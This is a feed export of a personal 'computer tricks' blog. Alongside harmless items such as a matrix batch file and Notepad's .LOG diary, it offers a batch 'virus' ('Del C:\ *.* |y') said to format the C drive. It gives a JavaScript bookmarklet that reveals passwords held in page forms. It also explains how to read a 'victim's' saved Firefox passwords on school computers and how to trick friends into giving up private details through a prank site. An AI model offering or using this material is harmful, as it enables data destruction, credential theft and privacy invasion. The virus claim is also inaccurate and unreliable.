tag:blogger.com,1999:blog-3964419753221166922024-03-21T18:36:54.302+05:30MY LIFESanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.comBlogger18125tag:blogger.com,1999:blog-396441975322116692.post-29929635321687060702014-01-25T20:30:00.003+05:302014-01-25T20:30:47.237+05:30TOP 3 NOTEPAD TRICKS<div dir="ltr" style="text-align: left;" trbidi="on">
<h4 style="background-color: white; border-bottom-color: rgb(0, 128, 255); border-bottom-style: dotted; border-bottom-width: 1px; border-top-color: rgb(0, 128, 255); border-top-style: dotted; border-top-width: 1px; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; padding: 3px; text-align: left;">
<span style="color: #93c47d;"> 1. Matrix Effect Trick</span></h4>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7vFTXmVxjb5_GL9ulQ2TOWH6WvK4fkGOWL2HU-2974iIc5bVFKjf_646jGaFGecxlxbbsolli55B4y15mUcIYbM55JTkIkeKKC_-qVxHpKlErglipgUV9TQ4UaOUhEiZLgC1nz6MRGUoN/s1600/matrix+effect.jpg" imageanchor="1" style="color: #0080ff; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img alt="matrix effect trick" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7vFTXmVxjb5_GL9ulQ2TOWH6WvK4fkGOWL2HU-2974iIc5bVFKjf_646jGaFGecxlxbbsolli55B4y15mUcIYbM55JTkIkeKKC_-qVxHpKlErglipgUV9TQ4UaOUhEiZLgC1nz6MRGUoN/s400/matrix+effect.jpg" height="83" style="border-width: 0px; padding: 10px;" title="matrix effect trick" width="400" /></a></div>
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.</span><br />
<br style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;" />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> 1. Open </span><b style="background-color: white; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><span style="color: #93c47d;">Notepad</span></b><span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> and copy below code into it.</span><br />
<br />
<blockquote class="tr_bq" style="background-color: #f2f1f1; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtceITc0Xw12s6IhX7YK6zkU7C4GmHWFTCMG7_kda8J56FY5dxLotXzFYbs5E2bLd4ajPucTgQTe4vsdzAVhhji1Beb0tUohn9fEkzHdpOTHoFugrFqp-6g0X3KozrvPg3FBEkSJRgE-I/s400/QUOTE1.gif); background-position: 0% 0%; background-repeat: no-repeat repeat; border-color: rgb(221, 221, 221) rgb(102, 102, 102) rgb(102, 102, 102) rgb(221, 221, 221); border-style: solid; border-width: 1px; color: #333333; font-family: verdana; font-size: 0.9em; line-height: 1.3em; margin: 10px 20px; padding: 10px 20px 10px 45px;">
@echo off<br />
color 02<br />
:start<br />
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%<br />
%random% %random%goto start</blockquote>
<br style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;" />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> 2. Now save this file as </span><b style="background-color: white; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><span style="color: #93c47d;">Matrix.bat</span></b><span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> (name can be anything but .bat is must)</span><br />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> 3. Open your saved file and you will have matrix effect on your screen.</span><br />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><br /></span>
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><b>NOTE : You can change color 02 to any other number(for instance 03 for blue)</b></span><br />
<h4 style="background-color: white; border-bottom-color: rgb(0, 128, 255); border-bottom-style: dotted; border-bottom-width: 1px; border-top-color: rgb(0, 128, 255); border-top-style: dotted; border-top-width: 1px; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; padding: 3px;">
<span style="color: #93c47d;">2. Creating Virus That Format C Drive</span></h4>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOcsNCySFI-91qu6dWHJeJs1ioEcaZUIFnlOKArzI4ZiEbpu7lX-XagOu9qOvCsynNUUf6Vhi4rJD2Q073S4qlGV_Uet22kDH84nSv-VK6BqAPQ_iArtVr7GrROI99DZ1jPLfcyxk6k0HW/s1600/computer-virus.jpg" imageanchor="1" style="color: #0080ff; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img alt="computer virus" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOcsNCySFI-91qu6dWHJeJs1ioEcaZUIFnlOKArzI4ZiEbpu7lX-XagOu9qOvCsynNUUf6Vhi4rJD2Q073S4qlGV_Uet22kDH84nSv-VK6BqAPQ_iArtVr7GrROI99DZ1jPLfcyxk6k0HW/s200/computer-virus.jpg" height="149" style="border-width: 0px; padding: 10px;" title="computer virus" width="200" /></a></div>
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.</span><br />
<br style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;" />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> 1. Open </span><b style="background-color: white; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><span style="color: #93c47d;">Notepad</span></b><span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> and copy below code into it.</span><br />
<br />
<blockquote class="tr_bq" style="background-color: #f2f1f1; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtceITc0Xw12s6IhX7YK6zkU7C4GmHWFTCMG7_kda8J56FY5dxLotXzFYbs5E2bLd4ajPucTgQTe4vsdzAVhhji1Beb0tUohn9fEkzHdpOTHoFugrFqp-6g0X3KozrvPg3FBEkSJRgE-I/s400/QUOTE1.gif); background-position: 0% 0%; background-repeat: no-repeat repeat; border-color: rgb(221, 221, 221) rgb(102, 102, 102) rgb(102, 102, 102) rgb(221, 221, 221); border-style: solid; border-width: 1px; color: #333333; font-family: verdana; font-size: 0.9em; line-height: 1.3em; margin: 10px 20px; padding: 10px 20px 10px 45px;">
@Echo off<br />
Del C:\ *.* |y</blockquote>
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> </span><br />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> 2. Then Save this file as </span><b style="background-color: white; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><span style="color: #93c47d;">virus.bat</span></b><br />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"> 3. Now, running this file format C Drive.</span><br />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><br /></span>
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><b>NOTE: PLEASE DON'T TRY IT ON YOUR OWN LAPTOP.USE IT ON YOUR RISK.</b></span><br />
<h4 style="background-color: white; border-bottom-color: rgb(0, 128, 255); border-bottom-style: dotted; border-bottom-width: 1px; border-top-color: rgb(0, 128, 255); border-top-style: dotted; border-top-width: 1px; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; padding: 3px;">
<span style="color: #93c47d;">3. Making Personal Diary Using Notepad</span><span style="color: #0080ff;"> </span></h4>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8SB0_DyOafOpiPkLO_KVOHm92Y2jZPMVegFFwnRk9VBuX47lwsjKApBc1sc9jMtyP7GGgke-K2w0MVydSWoUwxkFhV35-wVB5alpOLNPHktXx3pzzkO0IXJR4EDTCckLsYKRiW1Fz6Wq-/s1600/notepad-tricks.jpg" imageanchor="1" style="color: #0080ff; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img alt="notepad tricks" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8SB0_DyOafOpiPkLO_KVOHm92Y2jZPMVegFFwnRk9VBuX47lwsjKApBc1sc9jMtyP7GGgke-K2w0MVydSWoUwxkFhV35-wVB5alpOLNPHktXx3pzzkO0IXJR4EDTCckLsYKRiW1Fz6Wq-/s200/notepad-tricks.jpg" height="175" style="border-width: 0px; padding: 10px;" title="notepad tricks" width="200" /></a></div>
<div class="separator" style="background-color: white; clear: both; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">
<span style="color: #333333;">Here you will learn to use notepad as </span><span style="color: #93c47d;">Diary</span><span style="color: #333333;"> or a log book to keep record of your daily work instead of using pen and paper.</span></div>
<div style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">
<br /></div>
<div style="background-color: white; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">
<div>
<span style="color: #333333;"> 1. Open </span><b><span style="color: #93c47d;">Notepad</span></b><span style="color: #333333;"> and Type </span><b><span style="color: #93c47d;">.LOG</span></b><span style="color: #333333;"> (in capital Letters and press enter</span></div>
<div>
<span style="color: #333333;"> 2. </span><b><span style="color: #93c47d;">Save</span></b><span style="color: #333333;"> the program with any name and close it.</span></div>
<div>
<span style="color: #333333;"> 3. Open the file again. Now you can see </span><span style="color: #93c47d;">current date and time</span><span style="color: #333333;">, This will happen every time when you reopen notepad.</span></div>
<div>
<span style="color: #333333;"><br /></span></div>
<div>
<span style="color: #333333;"><b><i>ENJOY!!</i></b></span></div>
</div>
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-65377725890128505962014-01-25T05:11:00.001+05:302014-01-25T05:13:30.936+05:30Creating undeletable folder in Windows<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilDbmc6WlTuOLzKpdGFQTiO16sRwHiYdz_NB4kJP1JSDbiYzW3D8O3yjTy-Rr5NWBYMTmANILvdJiT8H0iNrpyiaBIKbZokpOJmRoWs3IDdgTxcBnhfXISP16YIR_Qz4cMPkHRJkeo6U0/s1600/images+(1).jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilDbmc6WlTuOLzKpdGFQTiO16sRwHiYdz_NB4kJP1JSDbiYzW3D8O3yjTy-Rr5NWBYMTmANILvdJiT8H0iNrpyiaBIKbZokpOJmRoWs3IDdgTxcBnhfXISP16YIR_Qz4cMPkHRJkeo6U0/s1600/images+(1).jpg" height="200" width="195" /></a></div>
Aah!!after long time I am goin' to write a post on some interesting trick....Well it's being 5:00 a.m and suddenly I think to write something in my blog. First of all,I apologize for not writing the article from long time. So without wasting your time,I come to the main point.<br />
Well today I want to share on windows trick i.e. to create <u>undeletable, unrenamable folder</u>. <span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; font-style: italic; line-height: 20.799999237060547px;">Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software.</span><br />
<a name='more'></a><span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">Try to make a new folder in command prompt i.e. cmd and give it name anything else your's name,your's wife name or something else(for instance-let it be my name sanchit). Here in the later stage you will get how to create undeletable folder and how to delete that folder through cmd as directly you can't delete that folder.</span><br />
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;"><br /></span>
<br />
<h4 style="background-color: white; border-bottom-color: rgb(0, 128, 255); border-bottom-style: dotted; border-bottom-width: 1px; border-top-color: rgb(0, 128, 255); border-top-style: dotted; border-top-width: 1px; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; padding: 3px; text-align: left;">
<ul>
<li><span style="color: #c27ba0;">How To Create Undeletable Folders ?</span></li>
</ul>
</h4>
<ul style="text-align: left;">
<li>Go to Start and then Click on Run</li>
<li>Type <b>cmd</b> & hit enter (To open <u>Command prompt</u><span style="color: #c27ba0;"> </span>).</li>
<li>Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:</li>
<li>Type <b>D:</b> or <b>E:</b> and hit enter</li>
<li>Type <b>md sanchit\ </b>and hit enter (md means make directory)</li>
<li>You may use any words <b> </b>instead of sanchit in above step.</li>
<li>Open that directory, you will see the folder created of name sanchit.</li>
<li>Try to delete that folder or rename that folder windows will show the <span class="IL_AD" id="IL_AD8" style="background-attachment: scroll !important; background-color: transparent !important; background-image: none !important; background-position: 0% 50%; background-repeat: repeat repeat !important; border-bottom-color: rgb(27, 142, 222) !important; border-bottom-style: solid !important; border-bottom-width: 1px !important; cursor: pointer !important; display: inline !important; float: none !important; padding: 0px 0px 1px !important; position: static; text-decoration: underline !important;"><span style="color: #c27ba0;">error message</span></span>.</li>
</ul>
<div>
<br /></div>
<div>
<h4 style="background-color: white; border-bottom-color: rgb(0, 128, 255); border-bottom-style: dotted; border-bottom-width: 1px; border-top-color: rgb(0, 128, 255); border-top-style: dotted; border-top-width: 1px; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px; padding: 3px;">
<span style="color: #c27ba0;">How to delete that folder ?</span></h4>
<span style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.</span><br />
<div style="background-color: white; color: #333333; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">
</div>
<ol style="background-color: white; font-family: verdana; font-size: 13px; line-height: 20.799999237060547px;">
<li style="color: #333333;">Open Command Prompt</li>
<li style="color: #333333;">Type <b>D:</b> ( if u created this type of folder in D: drive) & hit enter</li>
<li style="color: #333333;">Type <b>rd sanchit\ </b>(rd means remove directory)</li>
<li><span style="color: #333333;">Open that directory and the folder will not appear </span><u>because it is</u><span style="color: #333333;"> removed.</span></li>
</ol>
<div>
<span style="color: #333333; font-family: verdana; font-size: x-small;"><span style="line-height: 20.799999237060547px;">Hope you will like this article....<b><i>ENJOY</i></b>!!!</span></span></div>
</div>
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-53730871970742191712013-03-03T21:29:00.002+05:302014-01-25T05:13:55.672+05:30Pranking<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<b>STEP 1</b> : Just Go to <a href="http://www.crushbits.com/" target="_blank">crushbits</a><br />
and sign up for Free<br />
<br />
<b>STEP 2 : </b>There you will get a a link something like this <br />
http://www.crushbits.com/findcrush/15790<br />
<br />
<b>STEP 3 : </b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibN3weTrs2UhnZqr-_8eLqbam2A0G_4MDJJ0VWcHnPoeAvNPA9DZFQQmewLUE-_iuLCNf43IWJVHYtVlA-6XVV9qzsL5KxtIrTdhoplY5vMfEXWWgcKtib7KIxlQe2Wr8JlFN1_cYNAzE/s1600/prank.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibN3weTrs2UhnZqr-_8eLqbam2A0G_4MDJJ0VWcHnPoeAvNPA9DZFQQmewLUE-_iuLCNf43IWJVHYtVlA-6XVV9qzsL5KxtIrTdhoplY5vMfEXWWgcKtib7KIxlQe2Wr8JlFN1_cYNAzE/s1600/prank.jpg" /></a></div>
<br />
<a name='more'></a>Now you need to copy above link and paste in your facebook status box OR send direct message to your friends<br />
<br />
Make sure that your status or message will be surprised<br />
ie : "I have never seen such an accurate love calculating app like this "<br />
(with your link) or do something new which you think will be suitable<br />
<br />
Done...!<br />
<br />
Now just wait for few minutes. Definitely after seeing your status many of your friends will enter their crush names and will get trapped . You will receive an email whenever any friend of you enter the details there.</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-64679875156396632142013-02-02T10:58:00.002+05:302013-02-05T01:11:03.268+05:30KEYBOARD LED FLUCTUATING TRICK<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLkjdJ0m2xPzHxg1RJb3JS2gbjg8_iigH2-KZQ49B66laXTt0YKZ79AUF7IJXjhQh5c78Lh1fvKwCBoSxLskOaFrn_2yxN06-Q6w4V5gdwa3cDdxJeYvpgIj43KNlW0uMStlO9HEjya6k/s1600/keyboard-led-blink.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLkjdJ0m2xPzHxg1RJb3JS2gbjg8_iigH2-KZQ49B66laXTt0YKZ79AUF7IJXjhQh5c78Lh1fvKwCBoSxLskOaFrn_2yxN06-Q6w4V5gdwa3cDdxJeYvpgIj43KNlW0uMStlO9HEjya6k/s400/keyboard-led-blink.png" width="400" /></a></div>
<br />
Today i will be showing you an interesting trick which will let your keyboard led light to dance. Basically we will be creating a vbscript to make caps lock, num lock and scroll lock to perform this trick. So lets get started.<br />
<h2 style="text-align: left;">
<b> How to do that ?</b></h2>
1. Open <b>Notepad</b> and copy below codes into it.<br />
<textarea cols="35" rows="4">Set wshShell =wscript.CreateObject("WScript.Shell")<br />
do<br />
wscript.sleep 100<br />
wshshell.sendkeys "{CAPSLOCK}"<br />
wshshell.sendkeys "{NUMLOCK}"<br />
wshshell.sendkeys "{SCROLLLOCK}"<br />
loop<br /></textarea>
<br />
<br />
2. Then save this file as <b>led.vbs</b> (<i>.vbs</i> is must)<br />
<br />
3. Open your save file and see your keyboard led blinking like <i>disco</i> lights.<br />
<h2 style="text-align: left;">
How to disable blinking Led ? </h2>
1. First open Task Manager [<b>ctrl+alt+del </b>]<br />
<br />
2. Then Go to <b>process</b> tab.<br />
<br />
3. Select <b>wscript.exe</b><br />
<br />
4. Click on <b>End</b> process.<br />
Enjoy.... </div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com2tag:blogger.com,1999:blog-396441975322116692.post-61520185016566685532013-01-18T18:48:00.002+05:302013-02-05T01:13:52.024+05:30PASSWORD IDENTIFYING<div dir="ltr" style="text-align: left;" trbidi="on">
This is trick which will let you to see password behind asterisks. You might be thinking what is asterisks. It is dots or stars you see when you type password. This trick will let you to see password behind asterisks. Often people save their password on browser so this trick will let you get their password easily.<br />
<br />
* Go to the page that contain password in asterisks.<br />
* Now copy the following code.<br />
<a name='more'></a><br />
<br />
<textarea cols="40" rows="5"> javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();</textarea><br />
<br />
* Paste the code into address bar of the page.<br />
* Now you will get the password on that page.<br />
Enjoy!!! </div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com1tag:blogger.com,1999:blog-396441975322116692.post-34376516681778609352013-01-17T13:16:00.001+05:302013-02-03T03:53:15.950+05:30HACK MOZILLA SAVED PASSWORD<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhabmo0GNZafBDEtxrVZP3ZhOMiGEtwvL8SGtowPaSfqbd0xFm_UQ1caZqx_lNHafFybQFL01z9XaxG1Qvi-EijpEK8PIcA9DzJkjIgL681-gJuEiMU2IbL9ak7HhSE-Kx6NQTE1B98ARo/s1600/firefox-vulnerable.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhabmo0GNZafBDEtxrVZP3ZhOMiGEtwvL8SGtowPaSfqbd0xFm_UQ1caZqx_lNHafFybQFL01z9XaxG1Qvi-EijpEK8PIcA9DzJkjIgL681-gJuEiMU2IbL9ak7HhSE-Kx6NQTE1B98ARo/s1600/firefox-vulnerable.jpg" /></a></div>
<br />
In my previous post i had posted two tutorials on <a href="http://sanchit-mylife.blogspot.in/2013/01/hack-chrome-saved-password.html" target="_blank">HACK CHROME SAVED PASSWORD</a> and <a href="http://sanchit-mylife.blogspot.in/2012/07/not-hacking.html" target="_blank">NOT HACKING</a>. In this post i will share with you guys how to view saved password in Mozilla Firefox web browser. This trick can be helpfull if you get your hands on someone computer maybe your friends and he/she has saved password for certain websites like gmail, facebook,yahoo etc then you can easily view his/her password with very simple and easy trick that i am going to share today. <br />
<a name='more'></a><br />
<br />
<br />
<br />
How to do ?<br />
<b>Follow all these steps : </b><br />
<b>STEP 1.</b> Open <u><b>Firefox Web Browser</b></u><br />
<b>STEP 2.</b> Then Click on <u><b>Tools</b></u> and then <u><b>option</b></u> as shown in below picture<br />
<br />
<b>STEP 3.</b> Then a POP Up box will appear, In that go to security and click on Show Passwords as show below.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWTUUkfzfKlKFHnguYHc1vGahObDg0FPO3Bz7EDQMI3x2bu1g-ViW27_CgGdfNwCwFCZ-_6HwQ5uLo_IoGk2L1QLWnz7In1tTUmCkbrGrMMpdqdxPt06kh7Sb1SKeENg9HK1ncJq8zTY/s1600/Reveal-Saved-Passwords-in-Mozilla-Firefox.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWTUUkfzfKlKFHnguYHc1vGahObDg0FPO3Bz7EDQMI3x2bu1g-ViW27_CgGdfNwCwFCZ-_6HwQ5uLo_IoGk2L1QLWnz7In1tTUmCkbrGrMMpdqdxPt06kh7Sb1SKeENg9HK1ncJq8zTY/s320/Reveal-Saved-Passwords-in-Mozilla-Firefox.jpg" width="320" /></a></div>
<br />
<br />
<b>STEP 4.</b> Now click on website whose password you want to see and click on show password . (Note: It will ask for confirmation so click on yes when dialog box appears)<br />
<br />
<br />
<b>STEP 5.</b> Done, You have hacked password of your victim with few simple steps.<br />
<i>You can try this at school computer lab if someone have saved their password. </i><br />
<i>If any problem persist then comment here... </i></div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-1577290275700284752013-01-16T01:46:00.000+05:302013-02-05T01:14:49.756+05:30INTRODUCING GRAPH SEARCH FACEBOOK<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMOSBot7JC3y4mnLPEcde1XeQslD0uTX0353utxSUy2HLBNticmcxdQG6lZOnmpXdEN5ZbzH3Falz0F4-BoSO8wHjOMl5dEU3jOYTGXJv1F1zV35lT90yvzyJNZNGd35t69-OWfYxSnVQ/s1600/f4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMOSBot7JC3y4mnLPEcde1XeQslD0uTX0353utxSUy2HLBNticmcxdQG6lZOnmpXdEN5ZbzH3Falz0F4-BoSO8wHjOMl5dEU3jOYTGXJv1F1zV35lT90yvzyJNZNGd35t69-OWfYxSnVQ/s320/f4.jpg" width="320" /></a></div>
<br />
Woow!!Today facebook has launched its beta phase graph search. With Graph Search, you simply enter phrases such as "My friends who live in Ghaziabad," "Photos of my family taken in Kanpur," or "Dentists my friends like," and Facebook quickly displays a page of the content you've requested.<br />
In Facebook's early days, people could search for basic things like friends, groups, and events, but the systems that powered these searches weren't comprehensive, nor were they able to scale with the site's growth. <br />
<a name='more'></a><br />
<h2 style="text-align: left;">
<b>The prototype</b></h2>
This project presented two parallel challenges: what would such a product look like, and what infrastructure would we need to build to support it?<br />
<br />
For the product part, they discussed and debated, and built several simple prototypes of graphical UIs that allowed users--click-by-click--to build up structured, database-like queries. But they all seemed too complex and not quite up for the full scope of Zuck's challenge to them.<br />
<br />
Then an idea emerged around the title of each page on Facebook. They(graph search engineer) wanted people to be able to construct their own views of the particular Facebook content they were interested in. If a person simply entered the title of the content they were looking for, could we then build a system that would understand the searcher's input and find the content for them?<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU9NVqnQlxFFMTq3s4UmIT8CObnEh2jVssugnC26r8ewLxABIYoppektqWWvHLMMNlqE0mN6q4iJGWgws2L1qpLNz5nt1xlDWOVnchaqCIehB-F7IqI6C9Sz0NicKa_JaVi6Ij1id14bo/s1600/f3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU9NVqnQlxFFMTq3s4UmIT8CObnEh2jVssugnC26r8ewLxABIYoppektqWWvHLMMNlqE0mN6q4iJGWgws2L1qpLNz5nt1xlDWOVnchaqCIehB-F7IqI6C9Sz0NicKa_JaVi6Ij1id14bo/s320/f3.jpg" width="320" /></a></div>
<br />
<br />
<br />
<h2>
<div style="text-align: left;">
Privacy</div>
</h2>
<div style="text-align: left;">
When you share something on Facebook, you get to decide exactly who can see that content. This, of course, is why Graph Search is such a powerful experience: a lot of what you will find is content that is not public, but content that someone has shared with a limited audience that happens to include you. It is also part of what makes Graph Search an interesting technical challenge for us. The system has to do an extraordinary amount of privacy checking in real time to deliver the experience we want.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc6JeeSt2EGeTYhD0NGfZLSX3UAmZssWX2OoPb7CWr-7PTih4HWwlcBXUDWLdU_6HdJtdA7vr-yDLWVbkJBmLPHOg0TgK90F99NSmDgBMoqIYa6fAdKpt-NVE7Ua806ECDNKkFQj3IfYk/s1600/f1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="254" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc6JeeSt2EGeTYhD0NGfZLSX3UAmZssWX2OoPb7CWr-7PTih4HWwlcBXUDWLdU_6HdJtdA7vr-yDLWVbkJBmLPHOg0TgK90F99NSmDgBMoqIYa6fAdKpt-NVE7Ua806ECDNKkFQj3IfYk/s320/f1.jpg" width="320" /></a></div>
<br />
<div style="text-align: left;">
<br /></div>
<br />
<h2>
<div style="text-align: left;">
Future</div>
<div style="text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<span style="font-size: small;">Today's Graph Search beta is just the beginning. They're starting with a focus on people, photos, places and interests, but are looking forward to incorporating posts and Open Graph actions, as well as making Graph Search available on mobile and in every language and are very excited to be able to keep making search more useful, fun and central to how you explore existing connections and make new ones on Facebook.</span></div>
<div style="font-weight: normal; text-align: left;">
<span style="font-size: large;">Well you can sign up to check when you can start this graph search via by clicking on this <a href="https://www.facebook.com/about/graphsearch/" target="_blank">link </a></span></div>
<div style="font-weight: normal; text-align: left;">
<span style="font-size: large;"><span style="font-size: large;">Hope you like this article and will enjoy facebook graph search soon.</span></span></div>
</h2>
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-7066950333178256892013-01-12T13:26:00.000+05:302013-02-05T01:16:16.453+05:30HACK CHROME SAVED PASSWORD<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
